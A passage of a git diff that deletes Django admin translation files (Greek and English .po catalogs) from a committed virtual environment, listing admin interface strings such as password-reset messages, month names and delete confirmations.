entered. You should receive them shortly." -msgstr "" -"Σας στείλαμε email με οδηγίες ορισμού συνθηματικού. Θα πρέπει να το λάβετε " -"σύντομα." - -msgid "" -"If you don’t receive an email, please make sure you’ve entered the address " -"you registered with, and check your spam folder." -msgstr "" -"Εάν δεν λάβετε email, παρακαλούμε σιγουρευτείτε ότι έχετε εισαγάγει τη " -"διεύθυνση με την οποία έχετε εγγραφεί, και ελέγξτε το φάκελο ανεπιθύμητης " -"αλληλογραφίας." - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" -"Λαμβάνετε αυτό το email επειδή ζητήσατε επαναφορά συνθηματικού για το " -"λογαριασμό σας στον ιστότοπο %(site_name)s." - -msgid "Please go to the following page and choose a new password:" -msgstr "" -"Παρακαλούμε επισκεφθείτε την ακόλουθη σελίδα και επιλέξτε νέο συνθηματικό: " - -msgid "Your username, in case you’ve forgotten:" -msgstr "Το όνομα χρήστη, σε περίπτωση που δεν το θυμάστε:" - -msgid "Thanks for using our site!" -msgstr "Ευχαριστούμε που χρησιμοποιήσατε τον ιστότοπό μας!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "Η ομάδα του ιστότοπου %(site_name)s" - -msgid "" -"Forgotten your password? Enter your email address below, and we’ll email " -"instructions for setting a new one." -msgstr "" -"Ξεχάσατε το συνθηματικό σας; Εισαγάγετε το email σας και θα σας στείλουμε " -"οδηγίες για να ορίσετε καινούργιο." - -msgid "Email address:" -msgstr "Διεύθυνση email:" - -msgid "Reset my password" -msgstr "Επαναφορά του συνθηματικού μου" - -msgid "All dates" -msgstr "Όλες οι ημερομηνίες" - -#, python-format -msgid "Select %s" -msgstr "Επιλέξτε αντικείμενο (%s)" - -#, python-format -msgid "Select %s to change" -msgstr "Επιλέξτε αντικείμενο (%s) προς αλλαγή" - -#, python-format -msgid "Select %s to view" -msgstr "Επιλέξτε αντικείμενο (%s) για προβολή" - -msgid "Date:" -msgstr "Ημ/νία:" - -msgid "Time:" -msgstr "Ώρα:" - -msgid "Lookup" -msgstr "Αναζήτηση" - -msgid "Currently:" -msgstr "Τώρα:" - -msgid "Change:" -msgstr "Επεξεργασία:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/el/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/el/LC_MESSAGES/djangojs.mo deleted file mode 100644 index 5548ab04..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/el/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/el/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/el/LC_MESSAGES/djangojs.po deleted file mode 100644 index 1ffee5dd..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/el/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,272 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Dimitris Glezos , 2011 -# Fotis Athineos , 2021 -# glogiotatidis , 2011 -# Jannis Leidel , 2011 -# Nikolas Demiridis , 2014 -# Nick Mavrakis , 2016 -# Pãnoș , 2014 -# Pãnoș , 2016 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2021-01-15 09:00+0100\n" -"PO-Revision-Date: 2021-08-04 06:47+0000\n" -"Last-Translator: Fotis Athineos \n" -"Language-Team: Greek (http://www.transifex.com/django/django/language/el/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: el\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, javascript-format -msgid "Available %s" -msgstr "Διαθέσιμο %s" - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" -"Αυτή είναι η λίστα των διαθέσιμων %s. Μπορείτε να επιλέξετε κάποια, από το " -"παρακάτω πεδίο και πατώντας το βέλος \"Επιλογή\" μεταξύ των δύο πεδίων." - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "" -"Πληκτρολογήστε σε αυτό το πεδίο για να φιλτράρετε τη λίστα των διαθέσιμων %s." - -msgid "Filter" -msgstr "Φίλτρο" - -msgid "Choose all" -msgstr "Επιλογή όλων" - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr "Πατήστε για επιλογή όλων των %s με τη μία." - -msgid "Choose" -msgstr "Επιλογή" - -msgid "Remove" -msgstr "Αφαίρεση" - -#, javascript-format -msgid "Chosen %s" -msgstr "Επιλέχθηκε %s" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" -"Αυτή είναι η λίστα των επιλεγμένων %s. Μπορείτε να αφαιρέσετε μερικά " -"επιλέγοντας τα απο το κουτί παρακάτω και μετά κάνοντας κλίκ στο βελάκι " -"\"Αφαίρεση\" ανάμεσα στα δύο κουτιά." - -msgid "Remove all" -msgstr "Αφαίρεση όλων" - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "Κλίκ για να αφαιρεθούν όλα τα επιλεγμένα %s με τη μία." - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "%(sel)s από %(cnt)s επιλεγμένα" -msgstr[1] "%(sel)s από %(cnt)s επιλεγμένα" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"Έχετε μη αποθηκευμένες αλλαγές σε μεμονωμένα επεξεργάσιμα πεδία. Άν " -"εκτελέσετε μια ενέργεια, οι μη αποθηκευμένες αλλάγες θα χαθούν" - -msgid "" -"You have selected an action, but you haven’t saved your changes to " -"individual fields yet. Please click OK to save. You’ll need to re-run the " -"action." -msgstr "" -"Έχετε επιλέξει μια ενέργεια, αλλά δεν έχετε αποθηκεύσει τις αλλαγές στα " -"εκάστωτε πεδία ακόμα. Παρακαλώ πατήστε ΟΚ για να τις αποθηκεύσετε. Θα " -"χρειαστεί να εκτελέσετε ξανά την ενέργεια." - -msgid "" -"You have selected an action, and you haven’t made any changes on individual " -"fields. You’re probably looking for the Go button rather than the Save " -"button." -msgstr "" -"Έχετε επιλέξει μια ενέργεια, και δεν έχετε κάνει καμία αλλαγή στα εκάστοτε " -"πεδία. Πιθανών θέλετε το κουμπί Go αντί του κουμπιού Αποθήκευσης." - -msgid "Now" -msgstr "Τώρα" - -msgid "Midnight" -msgstr "Μεσάνυχτα" - -msgid "6 a.m." -msgstr "6 π.μ." - -msgid "Noon" -msgstr "Μεσημέρι" - -msgid "6 p.m." -msgstr "6 μ.μ." - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "Σημείωση: Είστε %s ώρα μπροστά από την ώρα του εξυπηρετητή." -msgstr[1] "Σημείωση: Είστε %s ώρες μπροστά από την ώρα του εξυπηρετητή." - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "Σημείωση: Είστε %s ώρα πίσω από την ώρα του εξυπηρετητή" -msgstr[1] "Σημείωση: Είστε %s ώρες πίσω από την ώρα του εξυπηρετητή." - -msgid "Choose a Time" -msgstr "Επιλέξτε Χρόνο" - -msgid "Choose a time" -msgstr "Επιλέξτε χρόνο" - -msgid "Cancel" -msgstr "Ακύρωση" - -msgid "Today" -msgstr "Σήμερα" - -msgid "Choose a Date" -msgstr "Επιλέξτε μια Ημερομηνία" - -msgid "Yesterday" -msgstr "Χθές" - -msgid "Tomorrow" -msgstr "Αύριο" - -msgid "January" -msgstr "Ιανουάριος" - -msgid "February" -msgstr "Φεβρουάριος" - -msgid "March" -msgstr "Μάρτιος" - -msgid "April" -msgstr "Απρίλιος" - -msgid "May" -msgstr "Μάιος" - -msgid "June" -msgstr "Ιούνιος" - -msgid "July" -msgstr "Ιούλιος" - -msgid "August" -msgstr "Αύγουστος" - -msgid "September" -msgstr "Σεπτέμβριος" - -msgid "October" -msgstr "Οκτώβριος" - -msgid "November" -msgstr "Νοέμβριος" - -msgid "December" -msgstr "Δεκέμβριος" - -msgctxt "abbrev. month January" -msgid "Jan" -msgstr "Ιαν" - -msgctxt "abbrev. month February" -msgid "Feb" -msgstr "Φεβ" - -msgctxt "abbrev. month March" -msgid "Mar" -msgstr "Μάρ" - -msgctxt "abbrev. month April" -msgid "Apr" -msgstr "Απρ" - -msgctxt "abbrev. month May" -msgid "May" -msgstr "Μάι" - -msgctxt "abbrev. month June" -msgid "Jun" -msgstr "Ιούν" - -msgctxt "abbrev. month July" -msgid "Jul" -msgstr "Ιούλ" - -msgctxt "abbrev. month August" -msgid "Aug" -msgstr "Αύγ" - -msgctxt "abbrev. month September" -msgid "Sep" -msgstr "Σεπ" - -msgctxt "abbrev. month October" -msgid "Oct" -msgstr "Οκτ" - -msgctxt "abbrev. month November" -msgid "Nov" -msgstr "Νοέ" - -msgctxt "abbrev. month December" -msgid "Dec" -msgstr "Δεκ" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "Κ" - -msgctxt "one letter Monday" -msgid "M" -msgstr "Δ" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "Τ" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "Τ" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "Π" - -msgctxt "one letter Friday" -msgid "F" -msgstr "Π" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "Σ" - -msgid "Show" -msgstr "Προβολή" - -msgid "Hide" -msgstr "Απόκρυψη" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/en/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/en/LC_MESSAGES/django.mo deleted file mode 100644 index 44ccdb4a..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/en/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/en/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/en/LC_MESSAGES/django.po deleted file mode 100644 index 227511fe..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/en/LC_MESSAGES/django.po +++ /dev/null @@ -1,992 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -msgid "" -msgstr "" -"Project-Id-Version: Django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2025-03-19 11:30-0500\n" -"PO-Revision-Date: 2010-05-13 15:35+0200\n" -"Last-Translator: Django team\n" -"Language-Team: English \n" -"Language: en\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#: contrib/admin/actions.py:17 -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "" - -#: contrib/admin/actions.py:52 -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "" - -#: contrib/admin/actions.py:62 contrib/admin/options.py:2250 -#, python-format -msgid "Cannot delete %(name)s" -msgstr "" - -#: contrib/admin/actions.py:64 -#: contrib/admin/templates/admin/delete_selected_confirmation.html:17 -msgid "Delete multiple objects" -msgstr "" - -#: contrib/admin/apps.py:13 -msgid "Administration" -msgstr "" - -#: contrib/admin/filters.py:154 contrib/admin/filters.py:296 -#: contrib/admin/filters.py:365 contrib/admin/filters.py:433 -#: contrib/admin/filters.py:608 contrib/admin/filters.py:702 -msgid "All" -msgstr "" - -#: contrib/admin/filters.py:366 -msgid "Yes" -msgstr "" - -#: contrib/admin/filters.py:367 -msgid "No" -msgstr "" - -#: contrib/admin/filters.py:381 -msgid "Unknown" -msgstr "" - -#: contrib/admin/filters.py:491 -msgid "Any date" -msgstr "" - -#: contrib/admin/filters.py:493 -msgid "Today" -msgstr "" - -#: contrib/admin/filters.py:500 -msgid "Past 7 days" -msgstr "" - -#: contrib/admin/filters.py:507 -msgid "This month" -msgstr "" - -#: contrib/admin/filters.py:514 -msgid "This year" -msgstr "" - -#: contrib/admin/filters.py:524 -msgid "No date" -msgstr "" - -#: contrib/admin/filters.py:525 -msgid "Has date" -msgstr "" - -#: contrib/admin/filters.py:703 -msgid "Empty" -msgstr "" - -#: contrib/admin/filters.py:704 -msgid "Not empty" -msgstr "" - -#: contrib/admin/forms.py:14 -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" - -#: contrib/admin/helpers.py:31 -msgid "Action:" -msgstr "" - -#: contrib/admin/helpers.py:433 -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "" - -#: contrib/admin/helpers.py:437 -msgid "Remove" -msgstr "" - -#: contrib/admin/models.py:20 -msgid "Addition" -msgstr "" - -#: contrib/admin/models.py:21 contrib/admin/templates/admin/app_list.html:38 -#: contrib/admin/templates/admin/edit_inline/stacked.html:20 -#: contrib/admin/templates/admin/edit_inline/tabular.html:40 -msgid "Change" -msgstr "" - -#: contrib/admin/models.py:22 -msgid "Deletion" -msgstr "" - -#: contrib/admin/models.py:108 -msgid "action time" -msgstr "" - -#: contrib/admin/models.py:115 -msgid "user" -msgstr "" - -#: contrib/admin/models.py:120 -msgid "content type" -msgstr "" - -#: contrib/admin/models.py:124 -msgid "object id" -msgstr "" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -#: contrib/admin/models.py:127 -msgid "object repr" -msgstr "" - -#: contrib/admin/models.py:129 -msgid "action flag" -msgstr "" - -#: contrib/admin/models.py:132 -msgid "change message" -msgstr "" - -#: contrib/admin/models.py:137 -msgid "log entry" -msgstr "" - -#: contrib/admin/models.py:138 -msgid "log entries" -msgstr "" - -#: contrib/admin/models.py:147 -#, python-format -msgid "Added “%(object)s”." -msgstr "" - -#: contrib/admin/models.py:149 -#, python-format -msgid "Changed “%(object)s” — %(changes)s" -msgstr "" - -#: contrib/admin/models.py:154 -#, python-format -msgid "Deleted “%(object)s.”" -msgstr "" - -#: contrib/admin/models.py:156 -msgid "LogEntry Object" -msgstr "" - -#: contrib/admin/models.py:185 -#, python-brace-format -msgid "Added {name} “{object}”." -msgstr "" - -#: contrib/admin/models.py:190 -msgid "Added." -msgstr "" - -#: contrib/admin/models.py:198 contrib/admin/options.py:2504 -msgid "and" -msgstr "" - -#: contrib/admin/models.py:205 -#, python-brace-format -msgid "Changed {fields} for {name} “{object}”." -msgstr "" - -#: contrib/admin/models.py:211 -#, python-brace-format -msgid "Changed {fields}." -msgstr "" - -#: contrib/admin/models.py:221 -#, python-brace-format -msgid "Deleted {name} “{object}”." -msgstr "" - -#: contrib/admin/models.py:227 -msgid "No fields changed." -msgstr "" - -#: contrib/admin/options.py:248 contrib/admin/options.py:292 -msgid "None" -msgstr "" - -#: contrib/admin/options.py:344 -msgid "Hold down “Control”, or “Command” on a Mac, to select more than one." -msgstr "" - -#: contrib/admin/options.py:1031 -msgid "Select this object for an action - {}" -msgstr "" - -#: contrib/admin/options.py:1469 contrib/admin/options.py:1507 -#, python-brace-format -msgid "The {name} “{obj}” was added successfully." -msgstr "" - -#: contrib/admin/options.py:1471 -msgid "You may edit it again below." -msgstr "" - -#: contrib/admin/options.py:1488 -#, python-brace-format -msgid "" -"The {name} “{obj}” was added successfully. You may add another {name} below." -msgstr "" - -#: contrib/admin/options.py:1556 -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may edit it again below." -msgstr "" - -#: contrib/admin/options.py:1576 -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may add another {name} " -"below." -msgstr "" - -#: contrib/admin/options.py:1598 -#, python-brace-format -msgid "The {name} “{obj}” was changed successfully." -msgstr "" - -#: contrib/admin/options.py:1676 contrib/admin/options.py:2066 -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" - -#: contrib/admin/options.py:1696 -msgid "No action selected." -msgstr "" - -#: contrib/admin/options.py:1727 -#, python-format -msgid "The %(name)s “%(obj)s” was deleted successfully." -msgstr "" - -#: contrib/admin/options.py:1829 -#, python-format -msgid "%(name)s with ID “%(key)s” doesn’t exist. Perhaps it was deleted?" -msgstr "" - -#: contrib/admin/options.py:1945 -#, python-format -msgid "Add %s" -msgstr "" - -#: contrib/admin/options.py:1947 -#, python-format -msgid "Change %s" -msgstr "" - -#: contrib/admin/options.py:1949 -#, python-format -msgid "View %s" -msgstr "" - -#: contrib/admin/options.py:2036 -msgid "Database error" -msgstr "" - -#: contrib/admin/options.py:2126 -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "" -msgstr[1] "" - -#: contrib/admin/options.py:2157 -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "" -msgstr[1] "" - -#: contrib/admin/options.py:2163 -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "" - -#: contrib/admin/options.py:2252 -#: contrib/admin/templates/admin/delete_confirmation.html:18 -#: contrib/admin/templates/admin/submit_line.html:14 -msgid "Delete" -msgstr "" - -#: contrib/admin/options.py:2308 -#, python-format -msgid "Change history: %s" -msgstr "" - -#. Translators: Model verbose name and instance -#. representation, suitable to be an item in a -#. list. -#: contrib/admin/options.py:2498 -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "" - -#: contrib/admin/options.py:2507 -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" - -#: contrib/admin/sites.py:40 contrib/admin/templates/admin/base_site.html:3 -msgid "Django site admin" -msgstr "" - -#: contrib/admin/sites.py:43 contrib/admin/templates/admin/base_site.html:6 -msgid "Django administration" -msgstr "" - -#: contrib/admin/sites.py:46 -msgid "Site administration" -msgstr "" - -#: contrib/admin/sites.py:431 contrib/admin/templates/admin/login.html:64 -#: contrib/admin/templates/registration/password_reset_complete.html:15 -#: contrib/admin/tests.py:146 -msgid "Log in" -msgstr "" - -#: contrib/admin/sites.py:586 -#, python-format -msgid "%(app)s administration" -msgstr "" - -#: contrib/admin/templates/admin/404.html:4 -#: contrib/admin/templates/admin/404.html:8 -msgid "Page not found" -msgstr "" - -#: contrib/admin/templates/admin/404.html:10 -msgid "We’re sorry, but the requested page could not be found." -msgstr "" - -#: contrib/admin/templates/admin/500.html:6 -#: contrib/admin/templates/admin/app_index.html:10 -#: contrib/admin/templates/admin/auth/user/change_password.html:15 -#: contrib/admin/templates/admin/base.html:75 -#: contrib/admin/templates/admin/change_form.html:19 -#: contrib/admin/templates/admin/change_list.html:33 -#: contrib/admin/templates/admin/delete_confirmation.html:14 -#: contrib/admin/templates/admin/delete_selected_confirmation.html:14 -#: contrib/admin/templates/admin/invalid_setup.html:6 -#: contrib/admin/templates/admin/object_history.html:6 -#: contrib/admin/templates/registration/logged_out.html:4 -#: contrib/admin/templates/registration/password_change_done.html:13 -#: contrib/admin/templates/registration/password_change_form.html:16 -#: contrib/admin/templates/registration/password_reset_complete.html:6 -#: contrib/admin/templates/registration/password_reset_confirm.html:8 -#: contrib/admin/templates/registration/password_reset_done.html:6 -#: contrib/admin/templates/registration/password_reset_form.html:8 -msgid "Home" -msgstr "" - -#: contrib/admin/templates/admin/500.html:7 -msgid "Server error" -msgstr "" - -#: contrib/admin/templates/admin/500.html:11 -msgid "Server error (500)" -msgstr "" - -#: contrib/admin/templates/admin/500.html:14 -msgid "Server Error (500)" -msgstr "" - -#: contrib/admin/templates/admin/500.html:15 -msgid "" -"There’s been an error. It’s been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" - -#: contrib/admin/templates/admin/actions.html:8 -msgid "Run the selected action" -msgstr "" - -#: contrib/admin/templates/admin/actions.html:8 -msgid "Go" -msgstr "" - -#: contrib/admin/templates/admin/actions.html:16 -msgid "Click here to select the objects across all pages" -msgstr "" - -#: contrib/admin/templates/admin/actions.html:16 -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "" - -#: contrib/admin/templates/admin/actions.html:18 -msgid "Clear selection" -msgstr "" - -#: contrib/admin/templates/admin/app_index.html:8 -#: contrib/admin/templates/admin/base.html:72 -msgid "Breadcrumbs" -msgstr "" - -#: contrib/admin/templates/admin/app_list.html:8 -#, python-format -msgid "Models in the %(name)s application" -msgstr "" - -#: contrib/admin/templates/admin/app_list.html:12 -msgid "Model name" -msgstr "" - -#: contrib/admin/templates/admin/app_list.html:13 -msgid "Add link" -msgstr "" - -#: contrib/admin/templates/admin/app_list.html:14 -msgid "Change or view list link" -msgstr "" - -#: contrib/admin/templates/admin/app_list.html:29 -msgid "Add" -msgstr "" - -#: contrib/admin/templates/admin/app_list.html:36 -#: contrib/admin/templates/admin/edit_inline/stacked.html:20 -#: contrib/admin/templates/admin/edit_inline/tabular.html:40 -msgid "View" -msgstr "" - -#: contrib/admin/templates/admin/app_list.html:50 -msgid "You don’t have permission to view or edit anything." -msgstr "" - -#: contrib/admin/templates/admin/auth/user/add_form.html:6 -msgid "After you’ve created a user, you’ll be able to edit more user options." -msgstr "" - -#: contrib/admin/templates/admin/auth/user/change_password.html:5 -#: contrib/admin/templates/admin/change_form.html:4 -#: contrib/admin/templates/admin/change_list.html:4 -#: contrib/admin/templates/admin/login.html:4 -#: contrib/admin/templates/registration/password_change_form.html:4 -#: contrib/admin/templates/registration/password_reset_confirm.html:4 -#: contrib/admin/templates/registration/password_reset_form.html:4 -msgid "Error:" -msgstr "" - -#: contrib/admin/templates/admin/auth/user/change_password.html:19 -#: contrib/admin/templates/admin/auth/user/change_password.html:71 -#: contrib/admin/templates/admin/base.html:56 -#: contrib/admin/templates/registration/password_change_done.html:4 -#: contrib/admin/templates/registration/password_change_form.html:7 -msgid "Change password" -msgstr "" - -#: contrib/admin/templates/admin/auth/user/change_password.html:19 -msgid "Set password" -msgstr "" - -#: contrib/admin/templates/admin/auth/user/change_password.html:30 -#: contrib/admin/templates/admin/change_form.html:45 -#: contrib/admin/templates/admin/change_list.html:54 -#: contrib/admin/templates/admin/login.html:24 -#: contrib/admin/templates/registration/password_change_form.html:27 -msgid "Please correct the error below." -msgid_plural "Please correct the errors below." -msgstr[0] "" -msgstr[1] "" - -#: contrib/admin/templates/admin/auth/user/change_password.html:34 -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "" - -#: contrib/admin/templates/admin/auth/user/change_password.html:36 -msgid "" -"This action will enable password-based authentication for " -"this user." -msgstr "" - -#: contrib/admin/templates/admin/auth/user/change_password.html:72 -msgid "Disable password-based authentication" -msgstr "" - -#: contrib/admin/templates/admin/auth/user/change_password.html:74 -msgid "Enable password-based authentication" -msgstr "" - -#: contrib/admin/templates/admin/base.html:27 -msgid "Skip to main content" -msgstr "" - -#: contrib/admin/templates/admin/base.html:42 -msgid "Welcome," -msgstr "" - -#: contrib/admin/templates/admin/base.html:47 -msgid "View site" -msgstr "" - -#: contrib/admin/templates/admin/base.html:52 -#: contrib/admin/templates/registration/password_change_done.html:4 -#: contrib/admin/templates/registration/password_change_form.html:7 -msgid "Documentation" -msgstr "" - -#: contrib/admin/templates/admin/base.html:60 -#: contrib/admin/templates/registration/password_change_done.html:7 -#: contrib/admin/templates/registration/password_change_form.html:10 -msgid "Log out" -msgstr "" - -#: contrib/admin/templates/admin/change_form.html:22 -#: contrib/admin/templates/admin/change_list_object_tools.html:8 -#, python-format -msgid "Add %(name)s" -msgstr "" - -#: contrib/admin/templates/admin/change_form_object_tools.html:5 -#: contrib/admin/templates/admin/object_history.html:10 -msgid "History" -msgstr "" - -#: contrib/admin/templates/admin/change_form_object_tools.html:7 -#: contrib/admin/templates/admin/edit_inline/stacked.html:22 -#: contrib/admin/templates/admin/edit_inline/tabular.html:42 -msgid "View on site" -msgstr "" - -#: contrib/admin/templates/admin/change_list.html:79 -msgid "Filter" -msgstr "" - -#: contrib/admin/templates/admin/change_list.html:82 -msgid "Hide counts" -msgstr "" - -#: contrib/admin/templates/admin/change_list.html:83 -msgid "Show counts" -msgstr "" - -#: contrib/admin/templates/admin/change_list.html:86 -msgid "Clear all filters" -msgstr "" - -#: contrib/admin/templates/admin/change_list_results.html:16 -msgid "Remove from sorting" -msgstr "" - -#: contrib/admin/templates/admin/change_list_results.html:17 -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "" - -#: contrib/admin/templates/admin/change_list_results.html:18 -msgid "Toggle sorting" -msgstr "" - -#: contrib/admin/templates/admin/color_theme_toggle.html:3 -msgid "Toggle theme (current theme: auto)" -msgstr "" - -#: contrib/admin/templates/admin/color_theme_toggle.html:4 -msgid "Toggle theme (current theme: light)" -msgstr "" - -#: contrib/admin/templates/admin/color_theme_toggle.html:5 -msgid "Toggle theme (current theme: dark)" -msgstr "" - -#: contrib/admin/templates/admin/delete_confirmation.html:25 -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" - -#: contrib/admin/templates/admin/delete_confirmation.html:30 -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" - -#: contrib/admin/templates/admin/delete_confirmation.html:35 -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" - -#: contrib/admin/templates/admin/delete_confirmation.html:37 -#: contrib/admin/templates/admin/delete_selected_confirmation.html:31 -msgid "Objects" -msgstr "" - -#: contrib/admin/templates/admin/delete_confirmation.html:44 -#: contrib/admin/templates/admin/delete_selected_confirmation.html:42 -msgid "Yes, I’m sure" -msgstr "" - -#: contrib/admin/templates/admin/delete_confirmation.html:45 -#: contrib/admin/templates/admin/delete_selected_confirmation.html:43 -msgid "No, take me back" -msgstr "" - -#: contrib/admin/templates/admin/delete_selected_confirmation.html:23 -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" - -#: contrib/admin/templates/admin/delete_selected_confirmation.html:26 -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" - -#: contrib/admin/templates/admin/delete_selected_confirmation.html:29 -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" - -#: contrib/admin/templates/admin/edit_inline/tabular.html:26 -msgid "Delete?" -msgstr "" - -#: contrib/admin/templates/admin/filter.html:4 -#, python-format -msgid " By %(filter_title)s " -msgstr "" - -#: contrib/admin/templates/admin/includes/object_delete_summary.html:2 -msgid "Summary" -msgstr "" - -#: contrib/admin/templates/admin/index.html:23 -msgid "Recent actions" -msgstr "" - -#: contrib/admin/templates/admin/index.html:24 -msgid "My actions" -msgstr "" - -#: contrib/admin/templates/admin/index.html:28 -msgid "None available" -msgstr "" - -#: contrib/admin/templates/admin/index.html:33 -msgid "Added:" -msgstr "" - -#: contrib/admin/templates/admin/index.html:33 -msgid "Changed:" -msgstr "" - -#: contrib/admin/templates/admin/index.html:33 -msgid "Deleted:" -msgstr "" - -#: contrib/admin/templates/admin/index.html:43 -msgid "Unknown content" -msgstr "" - -#: contrib/admin/templates/admin/invalid_setup.html:12 -msgid "" -"Something’s wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" - -#: contrib/admin/templates/admin/login.html:40 -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" - -#: contrib/admin/templates/admin/login.html:60 -msgid "Forgotten your login credentials?" -msgstr "" - -#: contrib/admin/templates/admin/nav_sidebar.html:2 -msgid "Toggle navigation" -msgstr "" - -#: contrib/admin/templates/admin/nav_sidebar.html:3 -msgid "Sidebar" -msgstr "" - -#: contrib/admin/templates/admin/nav_sidebar.html:5 -msgid "Start typing to filter…" -msgstr "" - -#: contrib/admin/templates/admin/nav_sidebar.html:6 -msgid "Filter navigation items" -msgstr "" - -#: contrib/admin/templates/admin/object_history.html:22 -msgid "Date/time" -msgstr "" - -#: contrib/admin/templates/admin/object_history.html:23 -msgid "User" -msgstr "" - -#: contrib/admin/templates/admin/object_history.html:24 -msgid "Action" -msgstr "" - -#: contrib/admin/templates/admin/object_history.html:49 -msgid "entry" -msgid_plural "entries" -msgstr[0] "" -msgstr[1] "" - -#: contrib/admin/templates/admin/object_history.html:52 -msgid "" -"This object doesn’t have a change history. It probably wasn’t added via this " -"admin site." -msgstr "" - -#: contrib/admin/templates/admin/pagination.html:10 -#: contrib/admin/templates/admin/search_form.html:9 -msgid "Show all" -msgstr "" - -#: contrib/admin/templates/admin/pagination.html:11 -#: contrib/admin/templates/admin/submit_line.html:4 -msgid "Save" -msgstr "" - -#: contrib/admin/templates/admin/popup_response.html:3 -msgid "Popup closing…" -msgstr "" - -#: contrib/admin/templates/admin/search_form.html:7 -msgid "Search" -msgstr "" - -#: contrib/admin/templates/admin/search_form.html:9 -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "" -msgstr[1] "" - -#: contrib/admin/templates/admin/search_form.html:9 -#, python-format -msgid "%(full_result_count)s total" -msgstr "" - -#: contrib/admin/templates/admin/submit_line.html:5 -msgid "Save as new" -msgstr "" - -#: contrib/admin/templates/admin/submit_line.html:6 -msgid "Save and add another" -msgstr "" - -#: contrib/admin/templates/admin/submit_line.html:7 -msgid "Save and continue editing" 